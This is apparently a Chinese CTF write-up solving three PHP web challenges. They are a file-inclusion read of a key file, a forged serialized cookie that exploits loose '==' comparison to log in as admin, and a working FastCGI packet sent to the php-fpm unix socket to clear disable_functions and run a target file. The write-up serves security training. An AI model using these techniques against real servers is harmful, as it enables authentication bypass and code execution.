@shaobaobaoer
2018-07-17T03:52:17.000000Z
字数 3070
阅读 2211
CTF
WEB
这道题做下来还是比较简单的。
通过提示和源码,我们真正要做的是找到两把钥匙。然后就能领取到FLAG了。
首先扫描敏感文件,会发现robots.txt下提示有fwhibbit.php 这个文件。
【题目的Dockerfile里面没有robots.txt。为此我加在提示里面了。】
访问就可以发现这个目录的URL有点小奇怪
120.79.191.75:2003/fwhibbit.php?page=...
很显然,后面这个page参数有点类似于iframe 。包含在这个页面中。
查看源码,题目给出了一个小提示:
<header class="intro-header">
<h1>loading...<h1>
<span class="subheading">fwhibbit.php?page=debug.html</span>
<!--Creds in /home/fwhibbit/key2.txt -->
</header>
这就很简单了,把key2.txt包含进去就行。
<div class="container">
<div class="row">
<div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
<h1> MAINTENANCE</p>
key2 = flag0x085927
</div>
</div>
</div>
第二段秘钥入手。
记得在首页中的提示说:
* Chic Chicfy
* Key? = XXXXXXXXX
也就是说,另一个Key的格式应该有点像上面这段代码
翻来翻去,其实就藏在clean-blog.css中。
/*
* What is this doing here?
* Key1 = gimme0x038792
*
*/
两段Key入手,输入即可得到Flag
登录页面提示 guest : guest 账户可以登录。但是登录进去并没有什么东西:
但总归是有东西的,它在cookie里面:
# URL_Decode ==> B64decode
auth :
O:4:"User":2:{s:4:"user";s:5:"guest";s:4:"pass";s:5:"guest";}
check :
0ad7fd75c118e38df9e77c6b1bf5b9d2
首先这个check的东西,一定是和auth这个有关系的。丢到cmd5中解密不了,就代表着一定有着特殊字符。【直觉...】多次尝试,发现check是B64encode(auth)的MD5值。
解决了check的问题,现在来看auth。
这里推荐一个小工具,能够非常直观的查看php反序列化:https://1024tools.com/unserialize
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => User
[user] => guest
[pass] => guest
)
如你所见,现在Cookie长这样!
首先我们是一定不知道admin的password的。但是,如果程序员写的是==
而非===
的话,这就是另一个故事了。
我们可以推测,最终验证的结果应该类似于这样:
if (User->user==='admin' && User->pass ==="*******" ){
echo "flag";
}
如果利用了==
话,就可以用布尔绕过
最终,我们把它改成了这样:
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => User
[user] => admin
[pass] => 1
)
// O:4:"User":2:{s:4:"user";s:5:"admin";s:4:"pass";b:1;}
// Hash 6897f0060a84ecb0600e4167d2a748e4
并算出其哈希值
重新填入cookie,拿到flag。
这题目是看WP的,新姿势!!!
这是一个非常正常的在线Php代码执行,提示告诉我们flag在/tmp/flag.php中。
通过phpinfo()查看php的信息。可以发现很多函数都被禁用了。
这道题的正确做法是利用 套接字!
可能翻译的不是很正确
通过unix套接字连接到同一服务,默认情况下应该在路径/var/run/php-fpm.sock中找到。但它不是那样的。
试图出现在不同的地方,如把不同的版本变化后:PHP5-fpm.sock,使用目录:/ var / run中/ PHP /或/运行/等等......几经尝试,我记得清楚地表明我们的phpinfo它是php版本7,所以找了多一点我发现,对于的默认路径是/run/php/php7.0-fpm.sock。
总之,PHP7的UNIX套接字是在/run/php/php7.0-fpm.sock中。
我也没有咋接触过套接字。【准确的说计网还没系统学过】。就硬着头皮往下看。
我们需要和unix套接字通信,在我理解上,这就有点盗取别的进程来提权的意思。通过和unix套接字通信,可以绕开disable_funciton的防护。从最源头调用Php内核。当然与套接字通信是必然是二进制通信的。为此,作者提供了一个ruby的脚本,来生成套接字:
https://raw.githubusercontent.com/ONsec-Lab/scripts/master/fastcgipacket.rb
所需要修改的就是最后的内容::
之后,我需要去看一看PHP的套接字库如何使用:
提供一篇不错的文章: http://www.manongjc.com/article/1463.html
最后,在这边写下我们的脚本,即可拿到flag。
<?php
$fp = fsockopen("unix:///run/php/php7.0-fpm.sock",
0,$errono,$errstr,30);
var_dump($fp);
$out = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x56\x06\x00\x0e\x03\x52\x45\x51\x55\x45\x53\x54\x5f\x4d\x45\x54\x48\x4f\x44\x47\x45\x54\x0f\x0d\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x0f\x14\x50\x48\x50\x5f\x41\x44\x4d\x49\x4e\x5f\x56\x41\x4c\x55\x45\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73\x3d\x22\x22\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00\x00\x00\x00";
var_dump($out);
fwrite($fp,$out);
while(!feof($fp)){
echo fgets($fp,128);
}
fclose($fp);
?>